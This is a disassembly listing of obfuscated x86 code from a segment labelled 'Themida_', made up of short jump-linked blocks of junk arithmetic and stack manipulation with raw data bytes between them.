loc_56376E:				; CODE XREF: Themida_:005695E8j
		push	edi
		mov	edi, 0A955DBEh
		mov	ebp, 23FA19E3h
		xor	ebp, edi
		jmp	loc_55DB95
; ---------------------------------------------------------------------------

loc_563780:				; CODE XREF: Themida_:0055B7C7j
		shl	edx, 2
		sub	edx, 0FFFFFFFFh
		add	edx, 99F646AEh
		sub	eax, 389D27F2h
		add	eax, edx
		jmp	loc_55D21C
; ---------------------------------------------------------------------------
		dd 0FF50EFE9h, 0C8BE0FFFh, 33F368h, 147BE900h, 4BF0000h
		dd 0E9000000h, 4460h, 3358C229h, 14312414h, 24143324h
		dd 6624248Bh, 66241489h, 0BDE99C50h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5637CF:				; CODE XREF: Themida_:005650EAj
		xchg	ebx, [esp]
		pop	esp
		push	394Eh
		mov	[esp], ebx
		sub	dword ptr [esp], 56D9112Ch
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5D40AE6h
		push	ebp
		jmp	loc_56A784
; ---------------------------------------------------------------------------

loc_563800:				; CODE XREF: Themida_:0056AEC0j
		sub	esi, 56F5BABBh
		jmp	loc_562B00
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFDC9BE9h, 4C483FFh, 31240C33h, 0C33240Ch, 24248B24h
		dd 9C240408h, 0FF5063E9h, 24248BFFh, 0FFE585E9h, 4C481FFh
		dd 0E9000000h, 0FFFFAEF1h
; ---------------------------------------------------------------------------

loc_56383C:				; CODE XREF: Themida_:00567A36j
		xor	eax, ebx
		jmp	loc_559D2A
; ---------------------------------------------------------------------------

loc_563843:				; CODE XREF: Themida_:005594D0j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_567FAD
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2EFD274Ch, 6803EDC1h, 0C7Bh,	55240489h, 35754DBDh, 61E58130h
		dd 810A5034h, 513A65F5h, 5259E910h, 8759FFFFh, 248B241Ch
		dd 0FEE95424h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56388B:				; CODE XREF: Themida_:00560E01j
		xor	dword ptr [esp], 7A0B2288h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55AF0E
; ---------------------------------------------------------------------------
		dd 54242C89h, 0E9242C8Bh, 741Dh, 0E84351BDh, 68C2815Ch
		dd 295AA742h, 68EA81EAh, 5D5AA742h, 3CF0E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5638D2:				; CODE XREF: Themida_:0055FB6Bj
		xchg	edi, [esp]
		jmp	loc_562AD6
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2BB24h, 0D8E90000h, 0ADFFFFD0h, 5D1EBA52h, 0E2C10063h
		dd 0EAF28103h, 294E7299h, 85E95AD6h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5638FF:				; CODE XREF: Themida_:0055C576j
		mov	[esp], edi
		push	3C15h
		jmp	loc_55FBE0
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0FF545300h,	1C8B2434h, 4C48124h, 68000000h
		dd 2746h, 5556E9h
		db 0
; ---------------------------------------------------------------------------

loc_56392D:				; CODE XREF: Themida_:005646A1j
		mov	ecx, 732A43C7h
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	edi
		push	3C610098h
		pop	edi
		xor	edi, 60136DA5h
		jmp	loc_55A682
; ---------------------------------------------------------------------------

loc_563950:				; CODE XREF: Themida_:00565D6Dj
		xor	edx, 521301D2h
		neg	edx
		xor	edx, 0AFE395Fh
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, edi
		pop	edi
		pop	ebx
		jmp	loc_56065D
; ---------------------------------------------------------------------------

loc_56396F:				; CODE XREF: Themida_:005593A3j
		xor	eax, ebp
		jmp	loc_5628C9
; ---------------------------------------------------------------------------
		dw 0C89h
aHvx		db '$hVX',0
		align 2
		dw 2489h
		dd 4BD5524h, 0E9000000h, 0FFFFC546h, 4C481h, 48F0000h
		dd 75E2E924h, 34FF0000h, 24048B24h, 6CA68h, 5F42E900h
		dd 3DB7FFFFh, 5B66F800h, 0C100B104h, 0E9CC8858h, 505Ch
		dd 6170CA81h, 0E94A2134h, 0FFFFEB0Dh, 39C0C281h, 7CE952AFh
		dd 5BFFFF99h, 813BED80h, 4ECh, 24048900h, 0F951E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5639E6:				; CODE XREF: Themida_:00561DCFj
		shl	ebx, 6
		push	edi
		mov	edi, 702D5F54h
		shr	edi, 4
		shl	edi, 5
		xchg	edx, edi
		jmp	loc_566E1D
; ---------------------------------------------------------------------------
		dd 8704EE83h, 46E92434h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563A07:				; CODE XREF: Themida_:00560FE8j
		xor	ebp, 824E8C92h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edx, 6CA7AE4h
		sub	edx, 5A3532BCh
		jmp	loc_56A3D8
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 0FFFF60EFh, 0E99AC980h, 0FFFF7897h, 244C015Eh
		dd 24448104h, 987D1604h, 9A27E962h, 0E956FFFFh,	0FFFF5ABFh
		dd 6EBC14Bh, 2FECC381h,	0D8E97596h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A5F:				; CODE XREF: Themida_:0055DA54j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mul	ecx
		push	49C3h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSX		db '$éÌx',0
		align 2
		dw 814Bh
		dd 0F7580AE3h, 0E9EB3117h, 362Ch
; ---------------------------------------------------------------------------

loc_563A90:				; CODE XREF: Themida_:0056971Cj
		pop	esp
		mov	[esp], eax
		mov	eax, 7A8D6F6Eh
		not	eax
		or	eax, 0CF60DF7h
		sub	eax, 8DF69DF3h
		sub	ecx, 19A14157h
		add	ecx, eax
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_560159
; ---------------------------------------------------------------------------

loc_563ABC:				; CODE XREF: Themida_:0055B998j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_55E111
; ---------------------------------------------------------------------------
		dd 5C241C87h, 4C281h, 0E0E90000h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563AE3:				; CODE XREF: Themida_:0056A0FCj
		xchg	eax, [esp]
		pop	esp
		pop	ebx
		jmp	loc_55888C
; ---------------------------------------------------------------------------
a13S7i		db '1<$3<$é7I',0
		align 4

loc_563AF8:				; CODE XREF: Themida_:0055ADFFj
		xchg	eax, [esp]
		jmp	loc_5697FE
; ---------------------------------------------------------------------------

loc_563B00:				; CODE XREF: Themida_:005640D4j
		not	esi
		jmp	loc_56CA40
; ---------------------------------------------------------------------------

loc_563B07:				; CODE XREF: Themida_:0056DA25j
		xchg	eax, [esp]
		jmp	loc_567110
; ---------------------------------------------------------------------------
		db 51h
		dd 268h, 0D0E95900h, 81FFFF77h,	4C4h, 4BF5700h,	81000000h
		dd 644ACDC2h, 81FA010Dh, 644ACDEAh, 243C8B0Dh, 4C481h
		dd 52550000h, 5B04BD55h, 0DDF761F8h, 8904EC83h,	0C2B9240Ch
		dd 8122EA49h, 0EDED3CF1h, 59CD31BCh, 617AE955h,	0E95BFFFFh
		dd 4C2Fh
; ---------------------------------------------------------------------------

loc_563B68:				; CODE XREF: Themida_:00569939j
		xor	ecx, 2BC06B92h
		inc	ecx
		shl	ecx, 1
		xor	ecx, 0D55A23B6h
		jmp	loc_558CCF
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 885204C4h, 5AD388E2h, 1020E9h, 0CCB95100h
		dd 0E946D229h, 61EAh, 2745502Dh, 0F102D18h, 0EC831CA6h
		dd 241C8904h, 8904EC83h, 13BD242Ch, 0BB468B52h,	5B253671h
		dd 34FFEB31h, 242C8B24h, 4C481h, 0C4810000h, 4,	34FFD829h
		dd 0CC7CE924h, 6866FFFFh, 0DCE95884h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563BDF:				; CODE XREF: Themida_:0056B2C8j
		push	0B3Bh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small 4572h
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	edx
		mov	dh, 56h
		jmp	loc_55B463
; ---------------------------------------------------------------------------
		db 5Bh,	87h, 4
		dd 24248B24h, 56595451h, 4BEh, 5EF10100h, 4C181h, 0C8E90000h
		dd 83000065h, 0D1E904C1h, 0C100007Bh, 0B92502E0h, 52773D3Bh
		dd 0E2C44CBAh, 608BE98Ch, 0D0F7FFFFh, 30CE8435h, 58C60187h
		dd 0E952DE01h, 0FFFFE19Ah, 0EC83C288h, 240C8904h, 0F668D188h
		dd 8900001Dh, 0CC882404h, 48BE388h, 0E3895324h,	4BF57h
		dd 0FB010000h, 42F2E9h
		db 0
; ---------------------------------------------------------------------------

loc_563C85:				; CODE XREF: Themida_:0056CF2Dj
		push	ebx
		jmp	loc_56341C
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC8152E1h, 4, 0E9240489h, 5856h
; ---------------------------------------------------------------------------

loc_563C9C:				; CODE XREF: Themida_:00558D8Ej
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55CF9A
; ---------------------------------------------------------------------------
		dw 9DB1h
		dd 0B658C130h, 72746803h, 35E90000h, 5FFFFF66h,	9FAEE9h
		dd 1C895C00h, 35E95224h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563CC7:				; CODE XREF: Themida_:0055DE06j
		push	edi
		mov	edi, 4
		add	esi, 13181F90h
		add	esi, edi
		sub	esi, 13181F90h
		jmp	loc_559903
; ---------------------------------------------------------------------------
		dd 240C8B5Ah, 4C481h, 51660000h, 0FFDDA3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563CF1:				; CODE XREF: Themida_:00569CD9j
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_569F6F
; ---------------------------------------------------------------------------
		dd 0D3F7DD87h, 0EF31DD87h, 82E9FD31h, 33FFFFD6h, 3C31243Ch
		dd 243C3324h, 0D224248Bh, 0E99C240Ch, 86D1h
; ---------------------------------------------------------------------------

loc_563D24:				; CODE XREF: Themida_:005635EEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 40597B6Eh
		add	ebx, ecx
		pop	ecx
		pop	dword ptr [eax]
		jmp	loc_55DF66
; ---------------------------------------------------------------------------

loc_563D3C:				; CODE XREF: Themida_:00559561j
		xchg	edx, esi
		jmp	loc_564B01
; ---------------------------------------------------------------------------
		db 1
		dd 7EEA81C2h, 58509663h, 2474FF52h, 48F5A04h, 0E401E924h
		dd 3C89FFFFh, 34FF5424h, 0C4835F24h, 0E3895304h, 4C381h
		dd 0D8E90000h, 53FFFFA6h, 749AE9h, 240C3300h, 3174E9h
		db 0
; ---------------------------------------------------------------------------

loc_563D81:				; CODE XREF: Themida_:0056D4F8j
		pop	edx
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	2F9Ch
		mov	[esp], edx
		mov	edx, 742A5C5Ah
		jmp	loc_55B108
; ---------------------------------------------------------------------------

loc_563DA4:				; CODE XREF: Themida_:005605BBj
		pop	edx
		add	edx, 4
		jmp	loc_56D64B
; ---------------------------------------------------------------------------
		dd 0F5B45066h, 5866E530h, 5830E9h, 4E88300h, 0E9240487h
		dd 22CDh, 0E904E7C1h, 0FFFF7622h, 81243C8Bh, 4C4h, 4C48300h
		dd 8702EA83h, 248B2414h, 0C896624h, 4A9EE924h, 0C3B2FFFFh
		dd 53B9EA80h, 0DA30B6B3h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	dl, 0A1h
		not	dl
		sub	dl, 8Dh
		sub	dl, 4Fh
		push	ebx
		jmp	loc_5609D7
; ---------------------------------------------------------------------------
		db 80h
		dd 0CB285CF1h, 0F5EB8059h, 0E9C0B60Fh, 0FFFFDBE3h, 0E9EE295Ch
		dd 6CF7h
; ---------------------------------------------------------------------------

loc_563E38:				; CODE XREF: Themida_:0055E987j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 32032CC4h
		jmp	loc_55B834
; ---------------------------------------------------------------------------

loc_563E4E:				; CODE XREF: Themida_:0056A4CAj
		sub	eax, 63A26060h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_565C4A
; ---------------------------------------------------------------------------

loc_563E62:				; CODE XREF: Themida_:00559644j
		push	46EFh
		mov	[esp], esi
		jmp	loc_562BC2
; ---------------------------------------------------------------------------
		db 59h
		dd 0E950D1F7h, 0FFFF5271h, 2EC81h, 89660000h, 65B1240Ch
		dd 5966C800h, 6BA1E9h
		db 0
; ---------------------------------------------------------------------------

loc_563E8D:				; CODE XREF: Themida_:005667F5j
		sub	ebx, 78560140h
		add	ebx, edi
		jmp	loc_5692A2
; ---------------------------------------------------------------------------

loc_563E9A:				; CODE XREF: Themida_:0056BA01j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55AD74
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC83242Ch, 24148904h, 0DCCCE950h, 248BFFFFh
		dd 1C4F0924h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_56058B
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4BB72927h, 4E0EE12Dh, 8EE95A10h, 58FFFFF1h, 555EF701h
		dd 0F51F15BDh, 5C58156h, 81240D2Dh, 24C18EDh, 0F7C7817Bh
		dd 1019E7Ah, 0F7EF81EFh, 5D019E7Ah, 8B243C87h, 24D32424h
		dd 6DE99C24h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F1F:				; CODE XREF: Themida_:0055A9D2j
		add	esp, 4
		push	eax
		mov	eax, 671F45B3h
		not	eax
		jmp	loc_560774
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FF4EDDE9h, 3E7C1FFh, 596CF81h, 0EFC14E11h, 58EDE903h
		dd 815EFFFFh, 0E51037C2h, 81EA0119h, 0E51037EAh, 0FF525D19h
		dd 5A042474h, 8B24048Fh, 34FF2424h, 0D922E924h,	6866FFFFh
		dd 0D6E92234h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F77:				; CODE XREF: Themida_:00559909j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		jmp	loc_562D25
; ---------------------------------------------------------------------------

loc_563F84:				; CODE XREF: Themida_:00561EADj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_566AD0
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E0895024h, 0FF7A36E9h, 4C481FFh, 8B000000h,	8950240Ch
		dd 405E0h, 0C0830000h, 24048704h, 5255565Ch, 67102ABAh
		dd 166AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563FBE:				; CODE XREF: Themida_:005591C6j
		mov	eax, esp
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4B7846B5h
		mov	ebp, ebx
		pop	ebx
		dec	ebp
		not	ebp
		jmp	loc_55ADEE
; ---------------------------------------------------------------------------
		dw 1489h
		dd 66F0E924h, 48B0000h,	4C48324h, 30A9EF80h, 8F95E9F8h
		dd 0EC83FFFFh, 0E030E904h, 2B8FFFFh, 53000000h,	0FC1970BBh
		dd 5BDF296Eh, 0C781C701h, 6EFC1970h, 5724048Bh,	0F6E9E789h
		dd 5E00000Fh, 40006857h, 14890000h, 435BBA24h, 0DEE9451Eh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56402F:				; CODE XREF: Themida_:005687F2j
		xor	edi, 0FE6E98EBh
		sub	ecx, edi
		jmp	loc_5597EA
; ---------------------------------------------------------------------------
aPsP		db 'PéÅp',0
		align 2
		dw 0C181h
		dd 4, 0FFB1CCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56404D:				; CODE XREF: Themida_:00567377j
		pop	ebx
		pop	eax
		add	ebp, 4
		push	38CAh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5589DC
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 3736E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564076:				; CODE XREF: Themida_:0056015Ej
		mov	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 394D7BE1h
		inc	edx
		jmp	loc_569E53
; ---------------------------------------------------------------------------

loc_564085:				; CODE XREF: Themida_:0056C32Dj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 49DA2EE9h
		shr	esi, 3
		or	esi, 7F3470F4h
		add	esi, 35EC42C8h
		neg	esi
		sub	esi, 4AD44737h
		add	eax, esi
		jmp	loc_56B3E5
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0FCEE9FC3h, 0E9DF01D7h, 568Fh
; ---------------------------------------------------------------------------

loc_5640C0:				; CODE XREF: Themida_:0056A9B9j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56B664
; ---------------------------------------------------------------------------

loc_5640D3:				; CODE XREF: Themida_:0055DDA6j
		dec	esi
		jmp	loc_563B00
; ---------------------------------------------------------------------------
		db 0BBh, 66h, 7Dh
		dd 0DE297C40h, 1DE6815Bh, 81765C71h, 11F526EEh,	5EF3299Dh
		dd 0BD55F301h, 37C70E96h, 0D3668h, 24348900h, 0F53784BEh
		dd 26F6E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56410A:				; CODE XREF: Themida_:0055D848j
		pop	eax
		pop	ebx
		pop	ecx
		sub	bl, dh
		jmp	loc_569A06
; ---------------------------------------------------------------------------
		dd 882EE953h, 0D068FFFFh, 8900001Eh, 268240Ch, 0FF000000h
		dd 0E9592434h, 0FFFF5250h
; ---------------------------------------------------------------------------

loc_564130:				; CODE XREF: Themida_:0055DBF3j
		push	4447h
		jmp	loc_567CEC
; ---------------------------------------------------------------------------

loc_56413A:				; CODE XREF: Themida_:0055A9A8j
		pop	ecx
		push	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_569889
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 0E976B624h, 0FFFFC274h, 9DBA5250h, 8139976Fh
		dd 756E73E2h, 0ABEA8121h, 81435341h, 477716EAh,	7DA2E91Bh
		dd 0D2F70000h, 0E1C1D187h, 4BB5306h, 81A6F9CDh,	0ED701AC1h
		dd 0E9D90140h, 268Eh, 8B241433h, 0FF532424h, 0FF042474h
		dd 1C8B2434h, 4C95E924h, 0FE29FFFFh, 0E9D6015Fh, 0FFFFC162h
; ---------------------------------------------------------------------------

loc_5641B0:				; CODE XREF: Themida_:0056B4FEj
		mov	eax, 62983A9Eh
		push	eax
		pop	edi
		jmp	loc_55E81C
; ---------------------------------------------------------------------------
		dd 1774BF57h, 0CF814B0Eh, 40922201h, 0F781DFF7h, 0CDDBD96Ah
		dd 565FFE01h, 0E950E689h, 0FFFF947Eh, 8124348Bh, 4C4h
		dd 48A82D00h, 0BD5552C4h, 4A5817E6h, 5693BB53h,	0B2E97230h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5641FB:				; CODE XREF: Themida_:00559870j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		jmp	loc_56CCB4
; ---------------------------------------------------------------------------
		dd 0E9243489h, 71F6h, 1BF5752h,	0BA0E6E47h, 0E6E4703h
		dd 5C9BE9h, 4C68300h, 5C243487h, 6C6AB951h, 0C3E9749Ah
		dd 81000035h, 283F4CC6h, 66C68148h, 1698230h, 4EC81C6h
		dd 89000000h, 66BA2414h, 29698230h, 0EE815AD6h,	48283F4Ch
		dd 67ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_564269:				; CODE XREF: Themida_:005693BEj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_564AD5
; ---------------------------------------------------------------------------
		dd 0B850E389h, 4, 1934EB81h, 0C3012D85h, 8904EC83h, 2FE92404h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56429B:				; CODE XREF: Themida_:0055E337j
		sub	eax, 6AB046F7h
		add	eax, 1
		jmp	loc_55DBCE
; ---------------------------------------------------------------------------

loc_5642AA:				; CODE XREF: Themida_:0055D28Fj
		push	ebx
		mov	bl, cl
		jmp	loc_56C813
; ---------------------------------------------------------------------------

loc_5642B2:				; CODE XREF: Themida_:00564300j
		push	esi
		jmp	loc_567B63
; ---------------------------------------------------------------------------

loc_5642B8:				; CODE XREF: Themida_:00568509j
		mov	ebp, 6D27292h
		jmp	loc_56521A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3465DF6h, 3E0BEE81h,	48E9173Eh
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5642D3:				; CODE XREF: Themida_:00562C04j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 562C56DEh
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4561750h
		sub	ebp, 0AE29C072h
		xor	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5642B2
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 7EE95100h, 1FFFFF1h, 6A6CE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56431A:				; CODE XREF: Themida_:00568B26j
		sub	esi, 4
		jmp	loc_56C86A
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FF5108E9h, 494868FFh, 0F5E90000h, 9000045h,	0AE958C7h
		dd 57FFFFE0h, 42474FFh,	0FFA695E9h, 28B850FFh, 8945C866h
		dd 815158C1h, 54D62404h, 535F5C93h, 7330D5BBh, 1E38159h
		dd 813E7217h, 0D26CC0C3h, 15C38145h, 29FE4ED8h,	241C8BDFh
		dd 0FF4E98E9h, 24048BFFh, 2904C483h, 0DA015EF2h, 0FF5508E9h
		dd 6696B7FFh, 2060B450h, 0A3FDE9E7h, 5066FFFFh,	0D4F6FC88h
		dd 0FFA755E9h, 0E9F831FFh, 3D2Ah
; ---------------------------------------------------------------------------

loc_5643AC:				; CODE XREF: Themida_:00569D0Aj
		push	ebx
		mov	ebx, 65317882h
		sub	esi, ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_55CC23
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 1D3A75DBh, 0C381EB01h, 1D3A75DBh, 4BE565Dh, 0E9000000h
		dd 0FFFFAE48h, 0E903EEC1h, 0FFFFEC79h
; ---------------------------------------------------------------------------

loc_5643EC:				; CODE XREF: Themida_:0055F70Bj
		mov	[esp], edi
		push	edx
		jmp	loc_55EE8D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9525A59h, 0FFFF5017h, 8904EC83h, 48682404h, 5877AF42h
		dd 8B23E635h, 89BD5571h, 815B1E6Eh, 5600C9F5h, 6E5C119h
		dd 0E019F581h, 0E8E9B907h, 5A000073h, 2987E9h
		db 0
; ---------------------------------------------------------------------------

loc_564431:				; CODE XREF: Themida_:005667FBj
		mov	edx, 2222495Bh
		add	edx, 12054D0Eh
		push	ebx
		mov	ebx, 113F0055h
		add	edx, 222C513Ch
		sub	edx, ebx
		sub	edx, 222C513Ch
		pop	ebx
		jmp	loc_562130
; ---------------------------------------------------------------------------
		dw 72B1h
		dd 36E9C1FEh, 33FFFFBBh, 248B241Ch, 24348924h, 4BEh, 48E5E900h
		dd 0FF56FFFFh, 8B042474h, 0C4832434h, 24048F04h, 5224248Bh
		dd 0F7243487h, 4D49E9D6h, 0E9560000h, 24C6h, 0E924248Bh
		dd 6834h, 4BD55h, 0EA890000h, 0E92434FFh, 371Eh
; ---------------------------------------------------------------------------

loc_5644AC:				; CODE XREF: Themida_:00567438j
		pop	ecx
		jmp	loc_56CCCB
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0C4835C24h, 4B95104h, 1000000h, 0DADCE9CDh, 0C581FFFFh
		dd 904288Eh, 0ED81CD01h, 904288Eh, 8BEE0159h, 8953242Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 0CC685C24h, 89000054h
		dd 4B82404h, 1000000h, 0D7E6E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5644FE:				; CODE XREF: Themida_:0055E95Ej
		add	ebp, 0D1C0034h
		sub	ebp, 6077588Ah
		jmp	loc_56A22A
; ---------------------------------------------------------------------------

loc_56450F:				; CODE XREF: Themida_:00559F1Aj
		sub	esi, 27F43B8Dh
		not	esi
		sub	esi, 0FFFFFFFFh
		xor	esi, 1BC43928h
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_56A3F9
; ---------------------------------------------------------------------------

loc_564531:				; CODE XREF: Themida_:00568C60j
		push	4DACh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55A29A
; ---------------------------------------------------------------------------
		db 89h,	0D3h, 5Ah
		dd 592434FFh, 4C481h, 0C5810000h, 68566BCBh, 0ED81DD01h
		dd 68566BCBh, 83241C8Bh, 0EC8304C4h, 7314E904h,	0FC05FFFFh
		dd 8B7DE96Eh, 44E9243Ch, 31FFFF80h, 24348BF2h, 8104C483h
		dd 0CD1071F2h, 0A6ED815Bh, 8111E921h, 820A2BEDh, 81D52928h
		dd 820A2BC5h, 0A6C58128h, 0E911E921h, 0FFFFD796h, 81242C8Bh
		dd 4C4h, 4C48300h, 34FFCD01h, 89505924h, 405E0h, 0B9510000h
		dd 4, 8759C801h, 315C2404h, 48D5E9E8h, 2C89FFFFh, 5E96824h
		dd 565D1A12h, 5D72D6BEh, 44C68126h, 813ED5A0h, 373565EDh
		dd 47A2E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564606:				; CODE XREF: Themida_:00559998j
		dec	edi
		push	369Ch
		mov	[esp], ebx
		jmp	loc_5590F3
; ---------------------------------------------------------------------------
		dd 4BDh, 0EC74E900h, 0F829FFFFh, 83243C8Bh, 0D82904C4h
		dd 3BB368h, 77F0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564632:				; CODE XREF: Themida_:005674ECj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	cl, 93h
		mov	bh, cl
		pop	ecx
		shr	bh, 7
		shr	bh, 8
		push	ax
		mov	al, 0DDh
		sub	bh, al
		pop	ax
		push	0
		push	edx
		mov	dh, 93h
		add	[esp+4], dh
		mov	edx, [esp]
		jmp	loc_56025C
; ---------------------------------------------------------------------------

loc_564661:				; CODE XREF: Themida_:0055B860j
		mov	cl, 9Eh
		push	edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		pop	ecx
		not	ah
		xor	ah, 0F1h
		add	dl, 0C1h
		add	dl, ah
		jmp	loc_5668EE
; ---------------------------------------------------------------------------
		db 2Dh,	0Ah, 67h
		dd 0A8E92FA5h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564683:				; CODE XREF: Themida_:005651EFj
		push	ebx
		mov	ebx, 4
		jmp	loc_56D66A
; ---------------------------------------------------------------------------

loc_56468E:				; CODE XREF: Themida_:0056BB2Aj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56392D
; ---------------------------------------------------------------------------
		dw 0E588h
		dd 53D5F658h, 559C68h, 2E3BE900h, 52570000h, 797ABCBAh
		dd 40C28102h, 0F710833Ch, 0E9DAF7DAh, 8CF0h, 240C8B50h
		dd 4C481h, 89520000h, 4C281E2h,	83000000h, 148704EAh, 3C895C24h
		dd 23E95324h, 8B000013h, 97E92414h, 5AFFFFFDh, 4EC835Ah
		dd 0E9243C89h, 0FFFF6EECh
; ---------------------------------------------------------------------------

loc_564704:				; CODE XREF: Themida_:0056B020j
		add	ecx, ebp
		push	edi
		mov	edi, 7151109Bh
		push	0
		jmp	loc_5665B7
